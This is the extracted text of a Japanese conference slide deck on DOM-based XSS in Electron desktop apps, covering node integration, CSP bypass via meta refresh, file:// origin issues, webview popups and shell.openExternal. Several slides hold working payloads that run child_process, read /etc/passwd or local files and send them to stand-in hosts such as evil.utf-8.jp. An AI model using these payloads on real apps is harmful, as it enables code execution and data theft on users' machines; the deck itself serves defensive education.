ELECTRON Build cross platform desktop XSS It s easier than you think Secure Sky Technology Inc. Yosuke HASEGAWA
Yosuke HASEGAWA @hasegawayosuke Secure Sky Technology Inc. Technical Advisor OWASP Kansai Chapter Leader OWASP Japan Chapter board member CODE BLUE Review board member http//utf-8.jp/ Author of jjencode, aaencode Talked at Black Hat Japan 2008, KOREA POC 2008, POC 2010, OWASP AppSec APAC 2014 and others. Found many vulns of IE, Firefox and others.
What's Electron? GitHub 社によって開発された クロスプラットフォームなデスクトップアプリケーションを開発するためのフレームワーク HTML+JavaScript でアプリケーションを作成できる 多くのアプリケーションで使用実績
What's Electron? HTML + JavaScript = Native Apps Microsoft HTML Application (*.hta) Firefox OS Apache Cordova / Adobe PhoneGap Chrome Apps Electron / NW.js Electron Cross platform バイナリのビルドが可能
What's Electron? Node.js と Chromium をランタイムとして内包 メインプロセス アプリケーション全体を統括 node.js そのもの レンダラプロセス Chromium+node.js Electron Apps main process IPC renderer process
What's Electron? { } Electron Apps "name" : "Apps name", "version" : "0.1", "main" : "main.js" index.html <html> <head>...</head> <body> <script>...</script> </body> </html> {json} main process IPC renderer process package.json let win = new BrowserWindow( {width:840,height:700} ); win.loadurl( `file://${ dirname}/index.html` ); main.js
What's Electron? レンダラではブラウザ内で node.js が動く node 機能は無効にもできる デフォルト有効 <html> <script> const fs = require( "fs" ); function foo(){ fs.readfile( "./test.txt", { encoding: "utf-8" }, (err, data) => { document.getelementbyid("main").textcontent = data; } ); } </script> <div id="main"> </div> </html>
Electron アプリのセキュリティ対策
Electron アプリのセキュリティ対策 おおきく 3 種類の問題に分けられる Web アプリとしてのセキュリティ対策 レンダラはブラウザ DOM-based XSS 対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など 古くからのアプリケーション同様の対策 Electron 固有のセキュリティ対策 様々な Electron の機能に対する対策
Electron アプリのセキュリティ対策 おおきく 3 種類の問題に分けられる Web アプリとしてのセキュリティ対策 レンダラはブラウザ DOM-based XSS 対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など 古くからのアプリケーション同様の対策 Electron 固有のセキュリティ対策 様々な Electron の機能に対する対策
Web アプリとしてのセキュリティ対策 レンダラプロセス : Chromium + node.js DOM 操作が多くなりがち DOM-based XSS が発生しやすい JavaScript によるオープンリダイレクタ 従来の Web アプリ同様のフロントエンドのセキュリティ対策が必要
Web アプリとしてのセキュリティ対策 DOM-based XSS が発生しやすい DOM 操作が多い そもそも DOM-based XSS は見つけにくい fs.readfile( filename, (err,data) => { if(!err) element.innerhtml = data; //XSS! }); fs.readdir( dirname, (err,files) => { files.foreach( (filename) => { let elm = document.createelement( "div" ); elm.innerhtml = `<a href='${filename}'>${filename}</a>`; //XSS! paerntelm.appendchild( elm ); }); });
Web アプリとしてのセキュリティ対策 DOM-based XSS が発生すると致命的な被害 攻撃者のインジェクトしたコード内でも node 機能が利用可能な場合が多い XSS = alert だけではない ローカルファイルの読み書き 任意プロトコルでの通信 他アプリへの干渉 任意プロセスの生成 つまり DOM-based XSS をきっかけに任意のコード実行が可能となる
Web アプリとしてのセキュリティ対策 従来の Web アプリ ニセ情報の表示 Cookie の漏えい Web サイト内の情報の漏えい 該当 Web サイト内 で JS ができること全て 該当 Web サイトを超えては何もできない ブラウザに守られている サンドボックス 脆弱性があっても自身の Web サイト以外への影響はない サイト運営者が責任を持てる範囲でしか被害が発生しない
Web アプリとしてのセキュリティ対策 Electron における XSS アプリを使っているユーザーの権限での任意コードの実行 PC 内でそのユーザーができること全て 既存アプリケーションの破壊 オンラインバンキング用アプリの改ざん 盗聴 マルウェア感染 配信 該当アプリケーションの範囲を超えて何でもできる 開発者の責任の重みがまったく変わってくる
Web アプリとしてのセキュリティ対策 Electron アプリに対する攻撃に対して Web サイト改ざんの JavaScript 難読化されていても最終的には DOM 操作 <iframe> や <script> の挿入を探す Electron に対する攻撃用 JavaScript どのような処理でも可能性として存在 挙動を詳細に調査する必要がある 解析する側の技術も未成熟
Electron アプリのセキュリティ対策 おおきく 3 種類の問題に分けられる Web アプリとしてのセキュリティ対策 レンダラはブラウザ DOM-based XSS 対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など 古くからのアプリケーション同様の対策 Electron 固有のセキュリティ対策 様々な Electron の機能に対する対策
ローカルアプリとしてのセキュリティ対策 ローカルアプリのセキュリティ対策も必要 symlink 攻撃 レースコンディション 暗号の不適切な利用 過大なアクセス権限 機密情報が 644 など ファイル名の別名表記 8.3 形式 ADS(file.txt::$DATA) など その他諸々 Web アプリとは異なる知識背景 プラットフォーム固有の知識も必要
Electron アプリのセキュリティ対策 おおきく 3 種類の問題に分けられる Web アプリとしてのセキュリティ対策 レンダラはブラウザ DOM-based XSS 対策が必要 ローカルアプリとしてのセキュリティ対策 レースコンディションや不適切な暗号など 古くからのアプリケーション同様の対策 Electron 固有のセキュリティ対策 様々な Electron の機能に対する対策
Electron 固有のセキュリティ対策 個々の API を使う上での注意点 <webview> tag shell.openexternal Electron のアーキテクチャ上の問題点 BrowserWindow は通常 "file://" をロードする ブラウザと異なりアドレスバーが存在しない
Deep dive into DbXSS of Electron
DOM-based XSS ソースをエスケープせずにシンクに与えることで JS 上で発生する XSS ソース : 攻撃者の与えた文字列 シンク : 文字列から HTML を生成したりコードとして実行する箇所 location.hash location.href location.search postmessage xhr.responsetext document.referrer window.name ソース処理シンク document.write eval location.href Function setinterval settimeout innerhtml
DOM-based XSS 従来の XSS での被害 alert の表示 elm.innerhtml = "<img src=# onerror=alert('xss!')>"; Web アプリ内に偽情報を表示 elm.innerhtml = "<form> ログイン :<input type='password'>"; Cookie の奪取 elm.innerhtml = "<img src=# onerror= "new Image().src='http://example.jp/?'+document.cookie ">"; Web アプリ内の機密情報の奪取 elm.innerhtml = "<img src=# onerror= "new Image().src='http://example.jp/?'+elm.innerHTML ">"; 他には?
DOM-based XSS on Electron apps レンダラ上で node 機能がデフォルト有効 // xss_source は攻撃者がコントロール可能な文字列 elm.innerhtml = xss_source; // XSS! <img src=# onerror= "require('child_process').exec('calc.exe',null);"> <img src=# onerror=" let s = require('fs').readfilesync('/etc/passwd','utf-8'); fetch( 'http://evil.utf-8.jp/', { method:'post', body:s }); ">
DOM-based XSS on Electron apps 任意コード実行が可能 - まるでバッファオーバーフロー XSS: The New Buffer Overflow In many respects, an XSS vulnerability is just as dangerous as a buffer overflow. 多くの点から見て XSS 脆弱性の危険性はバッファオーバーフローに匹敵します "Security Briefs: SDL Embraces The Web", Apr. 2008 http://web.archive.org/web/20080914182747/http://msdn.microsoft.com/e n-us/magazine/cc794277.aspx
DOM-based XSS on Electron apps ソースをエスケープせずにシンクに与えることで JS 上で発生する XSS ソース : 攻撃者の与えた文字列 シンク : 文字列から HTML を生成したりコードとして実行する箇所 location.hash location.href location.search postmessage xhr.responsetext document.referrer window.name ソース処理シンク document.write eval location.href Function setinterval settimeout innerhtml
DOM-based XSS on Electron apps ソースをエスケープせずにシンクに与えることで JS 上で発生する XSS ソース : 攻撃者の与えた文字列 シンク : 文字列から HTML を生成したりコードとして実行する箇所 location.hash location.href location.search postmessage ファイルの内容 xhr.responsetext document.referrer window.name ソース処理シンク document.write eval location.href Function setinterval settimeout innerhtml ユーザ名ファイル名ログの内容データベースコンピュータ名 require webview webframe.executejavascript
DOM-based XSS on Electron apps 従来の Web アプリでは存在しなかったソース HTTP や Web と無関係なあらゆるデータが XSS ソースとなり得る シンクはそれほど増えていない require などに動的な引数を与えることは通常ない ソースを意識するのではなく シンクへ渡す際にエスケープすることが重要 適切な DOM 操作 (textcontent setattribute 等 )
Content Security Policy
Content Security Policy XSS 対策としてレンダラに CSP を適用することは効果があるのか <head> renderer <meta http-equiv="content-security-policy" content="default-src 'none';script-src 'self'"> </head> <body> <script src="./index.js"></script> </body> //index.js elm.innerhtml = xss_source; // XSS!
Content Security Policy <head> renderer <meta http-equiv="content-security-policy" content="default-src 'none';script-src 'self'"> </head> <body> <script src="./index.js"></script> </body> //index.js elm.innerhtml = xss_source; // XSS! meta refresh は CSP によって制限されない xss_source = '<meta http-equiv="refresh" content="0;http://evil.utf-8.jp/">'; レンダラで開かれる レンダラ内では node 機能が利用可能 <script> require('child_process').exec('calc.exe',null); </script> http://evil.utf-8.jp/
Content Security Policy Another pattern <head> renderer <meta http-equiv="content-security-policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> //index.js iframe.setattribute("src", xss_source); // XSS?
Content Security Policy Another pattern <head> renderer <meta http-equiv="content-security-policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> //index.js iframe.setattribute("src", xss_source); // XSS! origin === 'file://' app.on('ready', () => { win = new BrowserWindow({width:600, height:400} ); win.loadurl(`file://${ dirname}/index.html`);... main.js
Content Security Policy <head> renderer <meta http-equiv="content-security-policy" content="default-src 'self'"> </head> <body> <iframe id="iframe"></iframe> <script src="./index.js"></script> </body> //index.js iframe.setattribute("src", xss_source); // XSS! origin が "file://" なので攻撃者のファイルサーバも同じオリジン xss_source = 'file://remote-server/share/trap.html'; top level window では node 機能が使える window.top.location=`data:text/html, file://remote-server/share/trap.html <script>require('child_process').exec('calc.exe',null);< /script>`;
Content Security Policy CSP によってリソースの読み込みを制限しても meta refresh によってページ遷移が可能 レンダラ内を攻撃者の用意した罠ページに遷移 攻撃者の用意した罠ページではもちろん CSP は効かない "file://" なので攻撃者のリソースも同一オリジンになる iframe や script ソースを埋め込みやすい レンダラ内では node 機能が使える 結論 :CSP では XSS の脅威を軽減できない
レンダラでの node の無効化
レンダラでの node の無効化 レンダラの node を無効にすれば脅威は低減 app.on('ready', () => { main.js win = new BrowserWindow( { webpreferences:{nodeintegration:false} }); win.loadurl(`file://${ dirname}/index.html`);... BrowserWindow 生成時に明示的に無効を指定する必要がある デフォルト有効
レンダラでの node の無効化 レンダラではデフォルトで node 機能が有効になっている 明示的に node を無効にしなければ有効のまま レンダラで node を無効にすると Electron アプリとして実用的なことが出来なくなる それでも node 無効化は効果があるのか?
レンダラでの node の無効化 node 無効の JS でどこまでの攻撃が可能か app.on('ready', () => { win = new BrowserWindow( { webpreferences:{nodeintegration:false} }); win.loadurl(`file://${ dirname}/index.html`);... そもそもオリジンが file:// になっている XHR 等でローカルファイルの読み取りが可能 var xhr = new XMLHttpRequest(); xhr.open( "GET", "file://c:/file.txt", true ); xhr.onload = () => { fetch( "http://example.jp/", { method:"post",body:xhr.responsetext } ); }; xhr.send( null );
レンダラでの node の無効化 明示的に指定することで node を無効化できる node を無効化にするとアプリとして実用的なことは出来なくなる node を無効にしてもローカルファイルの読み取りは可能
iframe sandbox
iframe sandbox アプリケーションとして DOM 操作する対象を <iframe sandbox> 内のみに限定する iframe を外から操作 <iframe sandbox="allow-same-origin" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe>... document.queryselector("#sb").contentdocument.queryselector("#msg").innerhtml = "Hello, XSS!<script>alert(1)< /script>"; // not work iframe 内で DbXSS が発生しても被害を抑えられる
DbXSS の緩和 - <iframe sandbox> <iframe sandbox[="params"]> 代表的なもの allow-forms allow-scripts allow-same-origin allow-top-navigation allow-popups - フォームの実行を許可 - スクリプトの実行を許可 - 同一オリジン扱いを許可 - topへの干渉を許可 - ポップアップを許可 allow-scripts を指定するのは危険 iframe 内で普通に JS が動く allow-top-navigation allow-popups も危険
<iframe sandbox="allow-popups"> <iframe sandbox="allow-same-origin allow-popups" id="sb" srcdoc="<html><div id=msg'></div>..."></iframe>... var xss = `<a target="_blank" href="data:text/html,<script>require('child_process').exec('calc.exe',null);< /script>">click</a>`; document.queryselector("#sb").contentdocument.queryselector("#msg").innerhtml = xss; popup によって生成された BrowserWindow では node 機能が有効な状態で JavaScript が動く Click (iframe) data:text/html, <script>require(...) 0 CE C ± 7 8 9 / % 4 5 6 * 1/x 1 2 3-0. + =
<webview> tag
<webview> tag 他のサイトをレンダラ内に埋め込む iframe と異なり webview 内から外側は完全に見え ない (window.top など ) <webview src="http://example.jp/"></webview> 外からも簡単にはDOM 操作できない (iframe.contentwindowのようなものはない) webviewごとにnode 機能の有無を指定可能 <webview src="http://example.jp/" nodeintegration></webview> allowpopups 属性により新しいウィンドウの生成を許可 <webview src="http://example.jp/" allowpopups></webview>
<webview> tag window.open() <a target=_blank> などで新しく開かれたウィンドウ iframe と webview では node の有効 無効は異なる レンダラ (node 有効 ) <iframe> node は常に無効 レンダラ (node 有効 ) <webview allow-popups> node 無効 レンダラ (node 有効 ) <webview allow-popups nodeintegration> node 有効 新しいレンダラ (node 有効 ) 新しいレンダラ (node 無効 ) 新しいレンダラ (node 有効 )
<webview> tag node は無効にし preload 機能を使うほうが安全 <webview src="http://example.jp/" preload="./prealod.js"> </webview> preload script 内では node 無効の webview 内であっても node 機能が利用可能 //preload.js window.loadconfig = function(){ let file = `${ dirname}/config.json`; let s = require("fs").readfilesync( file, "utf-8" ); return JSON.eval( s ); };
<webview> tag よくあるケース 既存の Web アプリのネイティブアプリ化 <webview> 内に既存の Web アプリを埋め込み <body> <webview src="http://example.jp/"></webview> <script src="native-apps.js"></script> </body> Code Blue SNS Ads
<webview> tag よくあるケース 既存の Web アプリのネイティブアプリ化 <webview> 内に既存の Web アプリを埋め込み <body> <webview src="http://example.jp/"></webview> <script src="native-apps.js"></script> </body> webview Code Blue SNS Ads
<webview> tag よくあるケース 既存の Web アプリのネイティブアプリ化 <webview> 内に既存の Web アプリを埋め込み <body> <webview src="http://example.jp/"></webview> <script src="native-apps.js"></script> </body> webview Code Blue SNS webview 内に 3rd party の広告が入る Ads
<webview> tag webview 内に 3rd party の広告が入る場合 広告 JS も webview 内で自由にコード実行 webview で node が有効な場合は広告 JS も node 機能も使える node が無効な場合でも window.top 経由で全画面書き換え 偽ログイン画面の表示などはできる 悪意ある広告 配信サーバの汚染など // load fake login page window.top = "http://evil.utf-8.jp/"; Code Blue SNS User: Pass:
<webview> tag 対策 : 広告は iframe sandbox 内に表示 top への干渉を防ぐ JS 埋め込み型の広告だと対策できない Web アプリ オリジンを超えて広告が Web アプリへ影響を与えることはない ユーザーはアドレスバーで正規サイトか確認できる Electron アプリ iframe 内の広告でも node 機能が有効なら悪意あるコードが実行可能 アドレスバーがないので正規サイトかの確認ができない
window.open from <webview> allowpopups 属性 window.open で popup が可能になる <webview src="http://example.jp/" allowpopups></webview> window.open では "file:" スキームも指定可能 // http://example.jp window.open("file://remote-server/share/trap.html"); 攻撃者はファイルサーバを経由することで "file://" オリジンのスクリプトを動作させ ローカルファイルを読み取ることが可能 // file://remote-server/share/trap.html var xhr = new XMLHttpRequest(); xhr.open( "GET", "file://c:/secret.txt", true );
window.open from <webview> 対策 allowpopups 属性をつけない または main.js 側で URL を検査 // main.js app.on('browser-window-created', (evt, window) => { window.webcontents.on('new-window', (evt,url) => { let protocol = require('url').parse(url).protocol; if (!protocol.match( /^https?:/ )) { evt.defaultprevented = true; console.log( "invalid url", url ); } }); });
shell.openexternal shell.openitem
shell.openexternal, shell.openitem URL や拡張子に対応した外部プログラムを起動 const {shell} = require( 'electron' ); const url = 'http://example.jp/'; shell.openexternal( url ); // OS 標準のブラウザが起動 shell.openitem( url ); let file = 'C:/Users/hasegawa/test.txt'; shell.openexternal( file ); // OS 標準の方法でファイルを開く shell.openitem( file ); let filename = 'file://c:/users/hasegawa/test.txt'; shell.openexternal( file ); // OS 標準の方法でファイルを開く shell.openitem( file );
shell.openexternal, shell.openitem よくあるケース webview からの window.open などを OS 標準のブラウザで開く webview.on( 'new-window', (e) => { shell.openexternal( e.url ); // OS 標準のブラウザで開く }); 攻撃者が URL を細工できる場合 任意のコマンドを起動可能 <a href="file://c:/windows/system32/calc.exe">click</a> コマンドに引数は渡せない
shell.openexternal, shell.openitem shell.openexternal shell.openitem には任意の URL が渡らないよう確認が必要 if (url.match( /^https?: / // )) { shell.openexternal( url ); // ブラウザで開く }
Conclusion
Conclusion domxss().then( die ); // ACE nodeが有効なコンテキストで外部のスクリプトが動かないよう細心の注意が必要 file: スキームで外部のスクリプトが動かないよう細心の注意が必要 攻撃者は罠ファイルサーバを利用可能
Question? hasegawa@utf-8.jp @hasegawayosuke http://utf-8.jp/ Credits to @harupuxa, @kinugawamasato, nishimunea